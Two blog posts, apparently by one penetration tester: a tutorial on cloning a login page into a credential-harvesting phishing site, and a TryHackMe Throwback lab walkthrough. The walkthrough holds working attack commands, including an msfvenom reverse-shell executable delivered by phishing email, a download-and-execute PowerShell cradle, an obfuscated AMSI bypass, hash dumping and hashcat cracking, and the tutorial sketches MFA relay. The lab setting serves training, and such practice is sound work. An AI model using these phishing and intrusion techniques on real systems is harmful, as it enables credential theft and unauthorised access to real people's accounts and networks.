Creating a credential harvesting (phishing) page

I’ve been meaning to write-up my method of creating a credential harvesting page and it’s been a while since I’ve posted anything, so here we go.

This method is probably considered pretty basic to some because it’s literally just copying the HTML for a site and editing it a little to point somewhere else, but I try to follow the KISS method when possible and it’s a good base for building additional complexity onto later.

In this post I’m going to go over the following points and then provide a few ideas on improving the final product if it were intended to be used in an actual engagement.

  • Finding a target/login page
  • Cloning the target site
  • Modifying the site to point to the attacker’s server

The overall goal of this is to have a site that looks identical to the target’s legitimate login page, will store/send any credentials submitted to it to the attacker’s server, and then re-direct back to the legitimate page. The steps I’m going to show are by no means the best/most efficient/most effective way of creating a credential harvester, but I still think it’s useful to see one way it can be done to understand how an attacker may approach the subject.

Finding a target

The first thing we need before we can begin creating our phishing page is to find a target site, ideally one with a login page users of the site will recognize. An obvious candidate would be a Microsoft login like the one seen below, but I’m going to avoid that for this example due to the fact that there are multiple steps/pages in the user submitting their username and password which comes with extra logic/code that needs to be implemented. It’s completely doable, but I want to use a simpler example to begin with.

For this example, I’m going to use the login page for TryHackMe as seen below. It’s a standard login with a CAPTCHA, logos, and other assets that are loaded, along with the form for both username and password.

Cloning the target site

As modern websites rely heavily on JavaScript to render sites once you visit them, my personal preference is to simply “View Source” for the target page and copy/paste all of the content into a new file we’re creating to mimic it. This will generally give us a large HTML file with a lot of individual JavaScript and CSS files being loaded from either the same site or from related CDNs. Once this is done and without changing any of the source code for now, we get the page below when opening it in our browser. For reference, the original site is on the left, with the copied version on the right.

This actually looks much closer to the original than many sites would without making any modifications, but there are still some things we can notice that are off in the cloned version. The Google CAPTCHA window is displaying an error because it’s expecting to be loaded on a specific domain, which we won’t be matching. Second, the Google logo on the “Sign in with Google” button is not displaying properly, causing the name of the file to be displayed instead. We’ll fix the CAPTCHA eventually, but the first and easier step is to address the assets not loading correctly. In the image below, we can see some of the assets are being loaded using the full absolute URL of wherever the file is stored, whereas others are using a URL relative to what the current site would be (in this case, tryhackme.com).

The fix for this is to simply replace any relative URLs with their absolute versions. This means changing something like “/assets/page/pace.js” to “https://tryhackme.com/assets/pace/pace.js”. Doing this for the rest of the relative URLs in the source, saving, and reloading gives us the page seen below where the Google image is not rendering correctly, though we still have an issue with the CAPTCHA box. You can save some time changing these URLs using regex patterns in your text editor of choice, but I’ll leave that to the reader for now.

Now that we have all visible assets displaying correctly, we can address the CAPTCHA error that will undoubtedly draw a user’s attention. For simplicity’s sake in this post, we’re just going to remove it as most users will likely not even notice if it’s gone or just assume they’re not required to do it again because of a saved session. This can be done by either removing the div seen below referencing the Google CAPTCHA or by erasing the data-sitekey parameter. Both actions will serve the same purpose of removing the CAPTCHA from the rendered page, as seen in the next screenshot.

Modifying the site to point to the attacker’s server

Great, now we have a clone that is more or less identical to the original, but if a user logs into it the site nothing will happen because the form is still set to send a POST request to /login of the original site. This is seen below where the form is defined with the “action” parameter set to the endpoint the form’s data is supposed to be sent to.

What would happen if we changed this parameter to point to a server we control with a listener running on port 80 to catch any HTTP requests? As seen below, when the action parameter has been changed and a user tries to login the form data is sent to our server with both the username and password being visible.

While this is working correctly, there are still a few issues that might deter a user from actually submitting their credentials to the site. As seen below, when the page loads now the form displays a message that the connection is not secure because our action parameter now points to a URL using HTTP instead of HTTPS. Now, in a real-world scenario many users may not even notice or care about this warning, but it’s a good idea to try and make the clone be as realistic as possible.

This could be easily solved by using a valid SSL certificate from a site like LetsEncrypt for whatever domain name you end up using to host this site. I’m not going to demo that in this post, but the only changes to the source code would be switching the action to HTTPS, along with configuring your web server of choice to use your new certificate. This entire process is relatively straightforward and there are many guides, like this one from DigitalOcean that can be used as a reference.

Potential Improvements

At this point, our clone looks basically identical to the original and is successfully submitting data to our server where it can be logged for future use. However, this is a very basic credential harvesting page that savy users may recognize as not behaving as expected. To this point, there are a number of things we could add to improve the chances of success, apart from simply adding SSL as described above.

  • At the moment, a login attempt will eventually timeout and display an error that the page it was submitting data to didn’t respond as expected or just doesn’t exist at all. There are two ways to address this, though I usually prefer the latter. First, we could create another page to host on our server that will send a response to the login attempt and do something else afterward (i.e. Display an error, load a different page, etc.). Alternatively, Apache (or other web servers) could return a Location header that points the user’s browser back to the legitimate login page on any login attempt. I generally prefer the second option because the longer a user is looking at a phishing page the more likely they are to start noticing differences or that the URL isn’t quite right and this redirect will ensure they’re back where they expected to be, even if their supposed login attempt didn’t work the first try.
  • Many modern applications implement some sort of MFA and a set of valid credentials just aren’t enough anymore to gain access to the target service. There are existing open-source tools that already help with this, like evilginx2, but it’s also possible to get around this on your own with a few additions to the source code and short Python script that is run from your server whenever a user tries to login. The idea is that a user submits their username and password, the attacker’s server extracts the credentials and submits them in the background to the legitimate service/application, the server then loads a second page that mimics what the site looks like when it is expecting an MFA code or response. If the user then submits the code to the cloned site, the script on the attacker’s server then retrieves it and submits it as well to the legitimate site. This is a good bit more complicated, but if all information is submitted successfully, a login to the real target can be automated and a cookie retrieved that will grant access to the site without the need for credentials or MFA codes.

That’s all for now, but I hope this was educational or useful in some way. I plan to come back to this in the future and show what some of these improvements would look like when implemented, so hopefully I get around to that sooner rather than later.

TryHackMe – ThrowBack Network (Part 2 – MAIL and WS-01)

At the end of the last post we had just used Hydra to spray a list of common passwords against the usernames found on the Throwback-MAIL webmail portal. As a quick recap, below are the results.

That leaves us with this list of credentials collected so far.

An easy next step will be trying these credentials against the machines we already know about. I used the tool CrackMapExec for this to easily try authenticating with SMB to Throwback-PROD (10.200.14.219). This spray shows us the only credentials that appear to work on PROD are for the user HumphreyW.

However, being able to authenticate via SMB doesn’t necessarily mean we’ll be able to get a shell on the machine. If we use CrackMapExec again, but this time with the ‘winrm’ flag instead of SMB it will check if our users is allowed to connect via PowerShell Remoting. Unfortunately, that comes back with no hits, so it looks like HumphreyW can only use SMB for now. Let’s look into what he might have access to.

Another useful module in CME gives us the ability to check what shares a user with valid credentials has access to. As we can see in the image below, HumphreyW has read access to a non-default share called “Users”.

Using smbmap to recursively check the contents of the share shows us what appears to be the Users directory in Windows, but the only user who seems to have a profile is HumphreyW.

Normally I would use the tool smbclient to connect to the share, but for some reason that wouldn’t work for me. Instead I just mounted the share to my local machine and sorted through the contents there.

mount -t cifs -o username=humphreyw,password=securitycenter //10.200.14.219/Users /mnt/PROD-Users

This lets me go to my /mnt/PROD-Users folder and view HumphreyW’s user folder directly. Once I’m in there, one thing in particular stands out: the .ssh folder where SSH keys are stored. Moving in to that shows an id_rsa file, which is the private key portion of an SSH key-pair and what is needed to connect as a user via SSH.

Getting the contents of the file shows it does appear to be a valid key, so I copied it into a file to use and changed the permissions to what SSH expects (chmod 600 <key-file>).

However, when I try using the file as my private key, it still prompts me for a password and doesn’t accept the one found for this user (securitycenter). I was a little confused by this at first, but when looking at verbose output for the connection, it looks like the server is just not accepting my key and defaulting back to password authentication. I’m not sure if this was something I messed up or if the server is configured to only allow specific users (not this one) to connect via SSH. Either way, moving on to other avenues of attack.

Back to Throwback-MAIL (10.200.x.232)

Our next step is going to be to try and log in to the webmail portal with each set of credentials to see if any of them have anything interesting. Most of the inboxes are empty and prompt for initial profile setup when logging in, indicating they haven’t been used at all. For example, the credentials for HumphreyW give the screen below.

When logging in as MurphyF we see the user has one message for a “Password Reset Notification” that contains a link that can be used to reset the user’s password.

For now, the link doesn’t work when clicking on it because we don’t know what IP timekeep.throwback.local resolves to, but I saved it for reference later.

The user DaviesJ has two messages when logged in, one of which appears to be testing whether an executable file is able to be sent as an attachment (it seems to be allowed).

The fact that .exe files are allowed opens up a possibility for us to send a phishing message using one of the accounts we have access to to try and trick a user into running the attached program. Obviously there are not real users in this network, but the description of what to expect in the challenges mentioned phishing, so it’s worth a shot.

First up will be generating a malicious EXE that will call back to our machine, and for that we’ll use msfvenom. The command below will generate an executable named “Cleaner.exe” which, when run, will automatically try to connect back to our VPN IP on port 443. The name Cleaner.exe is aimed at making it appear more legitimate when paired with the phishing e-mail we’re going to create. Again, this part isn’t necessary for this lab, but it’s good practice for a real-world situation where you need to convince a user to do something.

msfvenom -p windows/meterpreter/reverse_tcp lhost=tun0 lport=443 -f exe -o Cleaner.exe

Next, we start a listener in Metasploit using the same configuration to catch the connection when the file is executed.

With the listener setup, now we just need to compose the message. Below is a somewhat believable message that would likely cause some employees to run the attachment without a second though. The file we created is attached and I added every e-mail address from the address back to the recipients, so now we just hit send and wait to see what happens.

Throwback-WS01

After a minute or so we see Metasploit sending the payload to 10.200.14.222 and opening a Meterpreter session. Looking at the details of the sessions shows we have a session on the machine THROWBACK-WS01 as the user BlaireJ.

One thing to note before moving forward is that this machine was not on our initial list of devices in the first nmap scan even though it’s in the same subnet as the others. This likely means it is sitting behind the firewall and we can’t access it without pivoting from another machine. I’ll go more into this and how we’ll use it later.

I moved into the session and started a shell to run a few quick recon commands on the workstation. It looks like the user BlaireJ is a local administrator on the machine, which means we should be able to escalate to NT Authority/SYSTEM easily enough by either using meterpreter’s built-in ‘getsystem’ command or possibly just by migrating to a process running as SYSTEM.

After listing available processes, I migrated from our current process (Cleaner.exe) to one of the running svchost.exe processes. With regular user rights, we wouldn’t be able to do this, but as our user is an administrator it allows us to inject into any process, even if it is running as SYSTEM, which then makes our effective permissions that of SYSTEM.

With SYSTEM privileges, we can now run ‘hashdump’ to dump the hashes of all local accounts from the SAM database.

To be sure we don’t miss any domain credentials that might be in LSASS instead of the SAM database, we can also use the kiwi module in Metasploit, which will give us access to various Mimikatz commands. Below is the output from running the ‘creds_all’ command, which prints any credentials that are found. However, in this case it looks like all we have is the same NTLM hash we already found for BlaireJ and the machine account.

Now we get to try and crack BlaireJ’s password hash. For me, that means switching back to my Windows Host machine to run hashcat because trying to crack passwords in a VM is a bad idea and doesn’t work very well.

hashcat.exe -a 0 -m 1000 ..\hash.txt ..\rockyou.txt

-a specifies the attack mode (0 = dictionary)
-m specifies the hash mode (1000 is for NTLM)

I pasted the NTLM hash for BlaireJ from above (c374ecb7c2ccac1df3a82bce4f80bb5b) into the file hash.txt and used the well-known dictionary rockyou.txt to try and crack it. Unfortunately, I wasn’t able to crack it, even when adding the rule file “OneRuleToRuleThemAll” for extra permutations of the passwords.

We can still save the hash for a possible pass-the-hash attack later, but we also need to do a little more recon on the machine. Using the ARP table and ipconfig we idenfity another IP in this subnet that seems to be the Domain Controller – 10.200.14.117 or THROWBACK-DC01.

There also seem to be quite a few user profiles on this machine.

Apart from the user and root flags in two different profiles, I didn’t find anything of interest in the user directories.

As this machine appears to be part of the domain and linked to the domain controller, we can also use it to get more information about users/computers in the domain itself, such as users, computers, and trusts.

To make domain recon a little easier, I’m going to use the script PowerView.ps1, I just need to load it from my local machine into the powershell session open in metasploit. I hosted the file with a python web server and used the command below to load the contents of the file directly into memory instead of having to save it to disk. However, as we can see by the next screenshot, it successfully reached out to my machine to get the file, but was blocked by AMSI because of the content in the file.

IEX (iwr http://10.50.12.12/PowerView.ps1 -UseBasicParsing)

There are a few things we could do to get around this, such as removing comments and changing function names in the script itself, but the easier is just to disable AMSI completely in our current session. The command below essentially tells AMSI it doesn’t need to perform anymore checks in our current PowerShell session.

Attacker Version
------------------------
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."AssEmbly"."GETTYPe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."getfiElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sETVaLUE"( ${nULl},${tRuE} )

Normal Version
------------------------
[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)

After pasting this in and running the previous command again we see it successfully gets the script again, but this time doesn’t give any errors, indicating it loaded the script successfully.

Now that PowerView is loaded, we can start enumerating.

Get all user objects in the specific domain and only print the AD username
-------------------------------------------------------------------
get-netuser -domain throwback.local -domaincontroller 10.200.14.117 | select samaccountname
Get all computer objects in the specific domain
-------------------------------------------------------------------
get-netcomputer -domain throwback.local -domaincontroller 10.200.14.117

This list of computer objects shows 3 devices we already knew about, but one we haven’t seen yet: THROWBACK-TIME. This might be related to the timekeep.throwback.local site we saw in an e-mail earlier, so we’ll need to keep note of this. A quick nslookup gives us the IP for this newmachine as 10.200.14.176.

Get all domain trusts
----------------------------------------------------------------
Get-NetDomainTrust -domain throwback.local -domaincontroller 10.200.14.117

This last one specifically shows us our current domain has a trust relationship with a second domain, corporate.local. The current goal is still to get access to the domain controller in our domain, but after that we might be able to pivot into corporate.local.

There’s plenty more to do, but I think this is a good place to stop for this post. An updated network map shows which devices we have identified and the green lightning bolts mark the machines we have owned.

To be continued again!